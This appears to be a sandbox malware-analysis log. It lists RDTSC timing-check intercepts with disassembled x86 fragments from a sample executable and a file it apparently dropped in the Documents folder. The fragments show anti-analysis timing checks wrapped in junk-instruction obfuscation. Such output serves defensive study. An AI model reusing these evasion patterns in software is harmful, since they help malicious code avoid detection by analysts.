Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8AF6 second address: DE8B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3EDD0B9246h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8B08 second address: DE8B12 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3EDCBDB9A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8B12 second address: DE8B24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EDD0B924Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8B24 second address: DE8B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE9D3C second address: DE9D47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F3EDD0B9246h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE9D47 second address: DE9D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB537 second address: DEB55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F3EDD0B9246h 0x0000000c jmp 00007F3EDD0B9257h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB55B second address: DEB560 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB560 second address: DEB57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B9258h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB57E second address: DEB58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3EDCBDB9A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DED4FE second address: DED50C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3EDD0B9248h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE034A second address: 4EE035C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EDCBDB9AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE035C second address: 4EE0360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0360 second address: 4EE0376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3EDCBDB9AAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0376 second address: 4EE037C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE037C second address: 4EE0380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0380 second address: 4EE0384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE03C7 second address: 4EE03D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE03D6 second address: 4EE045C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3EDD0B924Fh 0x00000008 pop eax 0x00000009 push edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov cx, DB87h 0x00000014 mov al, A9h 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F3EDD0B9255h 0x0000001f sub ax, 0926h 0x00000024 jmp 00007F3EDD0B9251h 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007F3EDD0B9250h 0x00000030 and ax, 4AC8h 0x00000035 jmp 00007F3EDD0B924Bh 0x0000003a popfd 0x0000003b popad 0x0000003c mov ebp, esp 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 jmp 00007F3EDD0B924Bh 0x00000046 push ecx 0x00000047 pop edx 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06998 second address: D0699C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0699C second address: D069A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE04E1 second address: 4EE0592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx eax, dx 0x00000007 popad 0x00000008 push edi 0x00000009 pushfd 0x0000000a jmp 00007F3EDCBDB9B0h 0x0000000f and si, B6A8h 0x00000014 jmp 00007F3EDCBDB9ABh 0x00000019 popfd 0x0000001a pop ecx 0x0000001b popad 0x0000001c push edx 0x0000001d pushad 0x0000001e movzx ecx, dx 0x00000021 pushfd 0x00000022 jmp 00007F3EDCBDB9B7h 0x00000027 jmp 00007F3EDCBDB9B3h 0x0000002c popfd 0x0000002d popad 0x0000002e mov dword ptr [esp], ebp 0x00000031 pushad 0x00000032 call 00007F3EDCBDB9B4h 0x00000037 movzx eax, bx 0x0000003a pop edx 0x0000003b mov bx, ax 0x0000003e popad 0x0000003f mov ebp, esp 0x00000041 jmp 00007F3EDCBDB9B6h 0x00000046 pop ebp 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F3EDCBDB9B7h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE060C second address: 4EE068F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B924Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F3F4E40CC1Dh 0x0000000e push 762327D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [762C0140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 jmp 00007F3EDD0B9256h 0x00000058 and dword ptr [ebp-04h], 00000000h 0x0000005c pushad 0x0000005d mov bx, si 0x00000060 pushfd 0x00000061 jmp 00007F3EDD0B924Ah 0x00000066 sbb ecx, 39E9FC08h 0x0000006c jmp 00007F3EDD0B924Bh 0x00000071 popfd 0x00000072 popad 0x00000073 mov edx, dword ptr [ebp+0Ch] 0x00000076 push eax 0x00000077 push edx 0x00000078 pushad 0x00000079 pushfd 0x0000007a jmp 00007F3EDD0B924Bh 0x0000007f sub esi, 4AD8D44Eh 0x00000085 jmp 00007F3EDD0B9259h 0x0000008a popfd 0x0000008b popad 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE068F second address: 4EE06AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, DAh 0x00000005 mov di, 1ABAh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esi, edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3EDCBDB9ACh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0703 second address: 4EE0748 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9251h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b jmp 00007F3EDD0B9257h 0x00000010 mov edi, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3EDD0B9250h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0748 second address: 4EE074C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE074C second address: 4EE0752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0752 second address: 4EE0758 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0758 second address: 4EE078A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9258h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b dec edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F3EDD0B924Dh 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE078A second address: 4EE078F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE078F second address: 4EE0812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B924Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c jmp 00007F3EDD0B9250h 0x00000011 mov al, byte ptr [edi+01h] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F3EDD0B924Eh 0x0000001b sub ax, 43C8h 0x00000020 jmp 00007F3EDD0B924Bh 0x00000025 popfd 0x00000026 mov ax, 253Fh 0x0000002a popad 0x0000002b inc edi 0x0000002c jmp 00007F3EDD0B9252h 0x00000031 test al, al 0x00000033 pushad 0x00000034 mov dx, B240h 0x00000038 popad 0x00000039 jne 00007F3F4E4014CFh 0x0000003f jmp 00007F3EDD0B924Fh 0x00000044 mov ecx, edx 0x00000046 pushad 0x00000047 mov edi, eax 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0812 second address: 4EE0863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a shr ecx, 02h 0x0000000d pushad 0x0000000e mov al, 89h 0x00000010 push edi 0x00000011 jmp 00007F3EDCBDB9B6h 0x00000016 pop esi 0x00000017 popad 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F3EDCBDB9AAh 0x0000002b sbb eax, 5F566D48h 0x00000031 jmp 00007F3EDCBDB9ABh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0863 second address: 4EE08BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9254h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F3EDD0B9250h 0x00000010 and ecx, 03h 0x00000013 jmp 00007F3EDD0B9250h 0x00000018 rep movsb 0x0000001a jmp 00007F3EDD0B9250h 0x0000001f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE08BF second address: 4EE08C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE08C3 second address: 4EE08C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE08C7 second address: 4EE08CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE08CD second address: 4EE0900 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9254h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3EDD0B9257h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0900 second address: 4EE0906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A1D second address: 4EE0A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A21 second address: 4EE0A3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A3A second address: 4EE0A86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9251h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, edi 0x0000000f pushfd 0x00000010 jmp 00007F3EDD0B924Fh 0x00000015 adc eax, 197388BEh 0x0000001b jmp 00007F3EDD0B9259h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A86 second address: 4EE0A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A8C second address: 4EE060C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0008h 0x0000000b cmp dword ptr [ebp-2Ch], 10h 0x0000000f mov eax, dword ptr [ebp-40h] 0x00000012 jnc 00007F3EDD0B9245h 0x00000014 push eax 0x00000015 lea edx, dword ptr [ebp-00000590h] 0x0000001b push edx 0x0000001c call esi 0x0000001e push 00000008h 0x00000020 pushad 0x00000021 mov dx, cx 0x00000024 popad 0x00000025 push 23740B5Ch 0x0000002a pushad 0x0000002b mov ch, DAh 0x0000002d mov esi, edi 0x0000002f popad 0x00000030 add dword ptr [esp], 52B610CCh 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F3EDD0B9250h 0x00000040 sbb cx, 2818h 0x00000045 jmp 00007F3EDD0B924Bh 0x0000004a popfd 0x0000004b jmp 00007F3EDD0B9258h 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0B74 second address: 4EE0BE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F3EDCBDB9ACh 0x00000010 push esi 0x00000011 pop edi 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F3EDCBDB9B7h 0x00000019 or ax, 486Eh 0x0000001e jmp 00007F3EDCBDB9B9h 0x00000023 popfd 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F3EDCBDB9ACh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0BE1 second address: 4EE0C02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3EDD0B9251h 0x00000008 movzx eax, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0C02 second address: 4EE0C16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0C16 second address: 4EE0C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0C1C second address: 4EE0C3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3EDCBDB9B4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0C3C second address: 4EE0C42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0C42 second address: 4EE0C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3D6309 second address: 3D6325 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9257h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3D6325 second address: 3D632B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3D632B second address: 3D6333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DC1E2 second address: 3DC1E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DC339 second address: 3DC386 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3EDD0B924Bh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F3EDD0B924Ah 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3EDD0B9255h 0x0000001b jmp 00007F3EDD0B9257h 0x00000020 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DC386 second address: 3DC393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F3EDCBDB9A6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DC54D second address: 3DC551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DC551 second address: 3DC57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDCBDB9B7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c jl 00007F3EDCBDB9BCh 0x00000012 jo 00007F3EDCBDB9ACh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DC82C second address: 3DC83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DC83B second address: 3DC850 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9AFh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DC850 second address: 3DC862 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F3EDD0B9252h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DC862 second address: 3DC86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3EDCBDB9A6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DCB12 second address: 3DCB18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DCB18 second address: 3DCB24 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3EDCBDB9A6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DCB24 second address: 3DCB2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF549 second address: 3DF5F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3EDCBDB9AEh 0x0000000b popad 0x0000000c xor dword ptr [esp], 2B447AA4h 0x00000013 mov esi, edi 0x00000015 jmp 00007F3EDCBDB9B3h 0x0000001a push 00000003h 0x0000001c mov dword ptr [ebp+122D2980h], esi 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+122D2970h], eax 0x0000002a push 00000003h 0x0000002c mov dword ptr [ebp+122D1929h], ebx 0x00000032 push B39EE98Bh 0x00000037 push eax 0x00000038 pushad 0x00000039 jmp 00007F3EDCBDB9AFh 0x0000003e pushad 0x0000003f popad 0x00000040 popad 0x00000041 pop eax 0x00000042 xor dword ptr [esp], 739EE98Bh 0x00000049 and esi, 0F9EBAB5h 0x0000004f lea ebx, dword ptr [ebp+124543D9h] 0x00000055 push 00000000h 0x00000057 push eax 0x00000058 call 00007F3EDCBDB9A8h 0x0000005d pop eax 0x0000005e mov dword ptr [esp+04h], eax 0x00000062 add dword ptr [esp+04h], 0000001Dh 0x0000006a inc eax 0x0000006b push eax 0x0000006c ret 0x0000006d pop eax 0x0000006e ret 0x0000006f mov ecx, eax 0x00000071 xor ecx, dword ptr [ebp+122D1B3Eh] 0x00000077 push eax 0x00000078 pushad 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF5F2 second address: 3DF5F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF68F second address: 3DF694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF694 second address: 3DF6E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3EDD0B9259h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3EDD0B9252h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push edi 0x00000016 jbe 00007F3EDD0B9248h 0x0000001c push edi 0x0000001d pop edi 0x0000001e pop edi 0x0000001f mov eax, dword ptr [eax] 0x00000021 jp 00007F3EDD0B9254h 0x00000027 push eax 0x00000028 push edx 0x00000029 jne 00007F3EDD0B9246h 0x0000002f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF6E4 second address: 3DF6FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3EDCBDB9AFh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF6FF second address: 3DF748 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+122D374Eh] 0x0000000f push 00000003h 0x00000011 add dword ptr [ebp+122D18EBh], esi 0x00000017 jmp 00007F3EDD0B9257h 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D1929h], edi 0x00000024 push 00000003h 0x00000026 add edx, dword ptr [ebp+122D374Ah] 0x0000002c push 49D5F48Fh 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push edi 0x00000036 pop edi 0x00000037 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF748 second address: 3DF74E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
